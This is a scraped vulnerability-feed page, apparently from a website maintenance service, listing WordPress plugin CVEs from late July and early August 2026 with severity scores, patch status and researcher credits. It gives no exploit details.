Swift Website Updates & Maintenance

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18072

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Advanced Responsive Video Embedder for Rumble, Odysee, YouTube, Vimeo, Kick … [advanced-responsive-video-embedder]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-65507

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

AI Copilot – Content Generator [ai-copilot-content-generator]

Researcher

qdtad

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14900

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Cost Calculator Builder PRO [cost-calculator-builder-pro]

Researcher

Khaled Alenazi (Nxploited)

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14483

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Realtyna Organic IDX plugin + WPL Real Estate [real-estate-listing-realtyna-wpl]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15964

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Single Sign On For TNG [single-sign-on-for-tng]

Researcher

andrea bocchetti

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15014

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

Civitasmass

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-65553

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

Spider Analyser – WordPress搜索引擎蜘蛛分析插件 [spider-analyser]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2025-10656

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light [excel-like-price-change-for-woocommerce-and-wp-e-commerce-light]

Researcher

kr0d

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-8457

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

WooCommerce – Social Login [woo-social-login]

Researcher

Athiwat Tiprasaharn (Jitlada)

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-14490

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Demi – One Click Demo Import, Backup & Site Migration [demi-backup-migration]

Researcher

Spy0x7

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-3141

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

FormGent – Next-Gen AI Form Builder for WordPress with Multi-Step, Quizzes, Payments & More [formgent]

Researchers

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-14488

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Meta Box AIO [meta-box-aio]

Researcher

Austin Ginder

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15988

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

UKO

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-65548

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Betheme [betheme]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-14328

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Eazy Plugin Manager – Powerful Plugin Management Solution for WordPress [plugins-on-steroids]

Researcher

Nia

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-14270

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Extra Checkout Options – addon for Extra Product Options plugin [woocommerce-tm-extra-checkout-options-addon]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-14356

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

FleekDash V2 [fleekdash]

Researcher

maru

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-16635

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Pronamic Pay [pronamic-ideal]

Researchers

Afan

moonge

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-16236

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Realtyna Organic IDX plugin + WPL Real Estate [real-estate-listing-realtyna-wpl]

Researcher

Son Van (mrs0x06)

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15414

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Subscriptions for WooCommerce [subscriptions-for-woocommerce]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-12144

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Wholesale for WooCommerce [woo-wholesale-pricing]

Researchers

Chloe Chamberland

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-15992

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WP Password Policy [password-requirements]

Researcher

zickzick2

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-16144

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kali Forms — Contact Form & Drag-and-Drop Builder [kali-forms]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-15450

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

NEX-Forms – Ultimate Forms Plugin for WordPress [nex-forms-express-wp-form-builder]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-15006

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Bit integrations – Form Integration, Webhook, Spreadsheets, CRM, LMS & Email Automation [bit-integrations]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-1360

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

BuddyPress [buddypress]

Researcher

Vincent Theriault-Laine

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-13339

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

CubeWP Framework [cubewp-framework]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-16062

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

Yaswanth Reddy Sunkara

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65552

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Export User Data [export-user-data]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65549

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress [jeg-elementor-kit]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-14516

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Online Scheduling and Appointment Booking System – Bookly [bookly-responsive-appointment-booking-tool]

Researcher

Nguyen Ngoc Duc (duc193)

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-10207

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

PickPlugins Question Answer [question-answer]

Researcher

Adam Rayyan Aryasatya

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-12800

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Premium Packages – Sell Digital Products Securely [wpdm-premium-packages]

Researcher

Talal Nasraddeen

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65546

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Qode Tours [qode-tours]

Researcher

Bonds

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65508

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Simply Schedule Appointments [simply-schedule-appointments]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-13161

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

Karan J

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-15025

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin [uncanny-automator]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-18352

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

User Access Manager [user-access-manager]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-14785

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Web Directory Free [web-directory-free]

Researchers

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-12741

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WP Fast Total Search – The Power of Indexed Search [fulltext-search]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65520

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WP OAuth Server ( Login with WordPress ) [miniorange-oauth-20-server]

Researcher

Luis Koleski

CVSS Rating
7.2 (High)

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Advanced Shipment Tracking for WooCommerce [woo-advanced-shipment-tracking]

Researcher

Nguyen Truong (Roll)

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65515

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

AffiliateWP [affiliate-wp]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65545

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65448

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Anti Spam and list cleaner – AcyChecker [acychecker]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65443

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

BackWPup – WordPress Backup & Restore Plugin [backwpup]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16585

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots [bp-better-messages]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-59558

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Booking Calendar [booking]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65447

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe [contest-gallery]

Researcher

Jayant Kamble

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-13425

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Database for CF7 [database-for-cf7]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-12476

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Easy Digital Downloads – eCommerce Payments and Subscriptions made easy [easy-digital-downloads]

Researcher

Tal Kantor

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65517

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Easy PayPal & Stripe Buy Now Button [wp-ecommerce-paypal]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16655

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65442

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

FormCraft [formcraft]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65440

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

GetGenie – AI SEO Assistant & Content Writer with Keyword Research, AEO & GEO [getgenie]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66690

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65441

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16597

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

GTM4WP – A Google Tag Manager (GTM) plugin for WordPress [duracelltomi-google-tag-manager]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-8143

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

HBook – Hotel booking system – WordPress Plugin [hbook]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65446

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Kali Forms — Contact Form & Drag-and-Drop Builder [kali-forms]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15052

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder [mailchimp-subscribe-sm]

Researcher

she11f

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65438

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Message Filter for Contact Form 7 [cf7-message-filter]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66707

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Meta for WooCommerce [facebook-for-woocommerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66705

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Meta pixel for WordPress [official-facebook-pixel]

Researcher

Tarcísio Luchesi(Poystick)

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-61957

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

miniOrange OTP Login, Verification and SMS Notifications [miniorange-otp-verification]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66702

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Rank Math SEO – AI SEO Tools to Dominate SEO Rankings [seo-by-rank-math]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-61953

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Simple Link Directory Pro – AI Powered [simple-link-directory-pro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65513

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Simply Schedule Appointments [simply-schedule-appointments]

Researcher

whitebyte

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65544

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Social Share, Social Login and Social Comments Plugin – Super Socializer [super-socializer]

Researcher

lqc

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65437

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Spam protection, Honeypot, Anti-Spam by CleanTalk [cleantalk-spam-protect]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-13440

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce [storegrowth-sales-booster]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15397

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Subscriptions for WooCommerce [subscriptions-for-woocommerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65439

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Ultra Addons for Contact Form 7 [ultimate-addons-for-contact-form-7]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65509

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin [wpdatatables]

Researcher

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-17605

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Payment forms, Buy now buttons, and Invoicing System | GetPaid [invoicing]

Researcher

Advanced Views – Display Custom Fields (ACF, Pods, MetaBox), Posts, CPT and Woo Products anywhere in Gutenberg, Elementor, Divi, Beaver… [acf-views]

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-17580

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-6251

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Chaty Pro [chaty-pro]

Researcher

Louis Deschanel (JeanJeanLeHaxor)

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-65547

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Creative Mail – Easier WordPress & WooCommerce Email Marketing [creative-mail-by-constant-contact]

Researcher

Taichi Kashimura

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-6453

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

CubeWP Framework [cubewp-framework]

Researchers

Pascal SUN

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-66476

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Easy Digital Downloads – eCommerce Payments and Subscriptions made easy [easy-digital-downloads]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-16087

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Icegram Engage – Popups, Optins, CTAs & Lead Generation [icegram]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-16092

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

Improved Save Button [improved-save-button]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-5060

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15304

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Plugin Organizer [plugin-organizer]

Researcher

zhuxuan wu

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15267

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Taskbuilder – Project Management & Task Management Tool With Kanban Board [taskbuilder]

Researcher

zalomkiller

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15153

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

WP Hotel Booking [wp-hotel-booking]

Researcher

Mokksh Parekh

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15262

Patch Status

Unpatched

Published
Aug 1, 2026

Affected Software

Admin Columns for ACF Fields [admin-columns-for-acf-fields]

Researcher

Shivamani Vastrala

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15662

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Advanced Woo Labels – Product Labels & Badges for WooCommerce [advanced-woo-labels]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13330

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Animation Addons for Elementor – GSAP Motion Elementor Addons & Website Templates [animation-addons-for-elementor]

Researcher

Vaibhav Narkhede

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-61970

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Auto Featured Image (Auto Post Thumbnail) [auto-post-thumbnail]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-8791

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Booking System Trafft [booking-system-trafft]

Researcher

Hardik Patel

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-61959

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Business Directory Plugin – Easy Listing Directories for WordPress [business-directory-plugin]

Researcher

Mukhlis Amien

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15234

Patch Status

Unpatched

Published
Aug 1, 2026

Affected Software

Codeless Page Builder [codeless-page-builder]

Researcher

testoun

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15735

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Contact Form to Any API [contact-form-to-any-api]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15950

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates [cozy-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15393

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates [cozy-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16685

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Download Manager [download-manager]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16684

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Easy Property Listings [easy-property-listings]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14817

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons [bdthemes-element-pack-lite]

Researcher

Pierre Rudloff

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13344

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Essential Addons for Elementor – Popular Elementor Templates & Widgets [essential-addons-for-elementor-lite]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12231

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Exclusive Addons for Elementor [exclusive-addons-for-elementor]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66437

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator [feedzy-rss-feeds]

Researcher

Muni Nitish Kumar Yaddala

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-11881

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66448

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Gallery PhotoBlocks [photoblocks-grid-gallery]

Researcher

Muhammad Sharief

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16091

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress [gamipress]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15730

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress [gamipress]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16090

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress [gamipress]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13458

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GenerateBlocks [generateblocks]

Researcher

Or Benit

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14318

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

Meher Sudhakar Abbireddi

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14864

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

JetEngine [jet-engine]

Researcher

axbqd

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18435

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kadence Blocks — Page Builder Toolkit for Gutenberg Editor [kadence-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18062

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kadence Blocks — Page Builder Toolkit for Gutenberg Editor [kadence-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14207

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes [lifterlms]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66433

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Location Weather – WordPress Weather Forecast, Air Quality & Weather Widget [location-weather]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66703

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. [mailoptin]

Researcher

Pablo González Pérez, Francisco José Ramírez Vicente and Iñigo Sánchez Enciso

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16273

Patch Status

Unpatched

Published
Aug 2, 2026

Affected Software

Narrative Publisher [narrative-so]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12939

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12938

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66445

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Open User Map – Interactive Leaflet Maps [open-user-map]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15016

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Paid Memberships Pro – Content Restriction, User Registration, & Paid Subscriptions [paid-memberships-pro]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66434

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Photonic Gallery & Lightbox for Flickr, SmugMug & Others [photonic]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15645

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Powerkit – Supercharge your WordPress Site [powerkit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15644

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Powerkit – Supercharge your WordPress Site [powerkit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15649

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Powerkit – Supercharge your WordPress Site [powerkit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-59559

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg [rt-mega-menu]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13362

Patch Status

Unpatched

Published
Jul 31, 2026

Affected Software

SendPulse Email Marketing Newsletter [sendpulse-email-marketing-newsletter]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-7623

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz [sureforms]

Researcher

Nguyen Ba Khanh – HPT Vietnam Corporation

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66688

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Ultimate Addons for Elementor [ultimate-elementor]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-17162

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WowStore – Store Builder & Product Blocks for WooCommerce [product-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-17161

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WowStore – Store Builder & Product Blocks for WooCommerce [product-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-7436

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WPC Badge Management for WooCommerce [wpc-badge-management]

Researcher

Osvaldo Noe Gonzalez Del Rio (Os)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66711

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WPML Multilingual & Multicurrency for WooCommerce [woocommerce-multilingual]

Researcher

Coopernicus

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-17571

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-66664

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GEO Plugin by Squirrly SEO [squirrly-seo]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-18197

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Link Library [link-library]

Researcher

Joshua Martinelle

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-18344

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Responsive Thumbnail Slider [wp-responsive-thumbnail-slider]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65445

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Ad Invalid Click Protector (AICP) [ad-invalid-click-protector]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15054

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Bit Form – Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder [bit-form]

Researcher

Charles Vosburgh

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65504

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

BOX NOW Delivery Croatia + Slovenia [box-now-delivery-croatia]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65551

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Breakdance [breakdance]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15018

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Database Collation Fix [database-collation-fix]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15012

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Demi – One Click Demo Import, Backup & Site Migration [demi-backup-migration]

Researcher

SAHRAOUI AYMEN

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65502

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

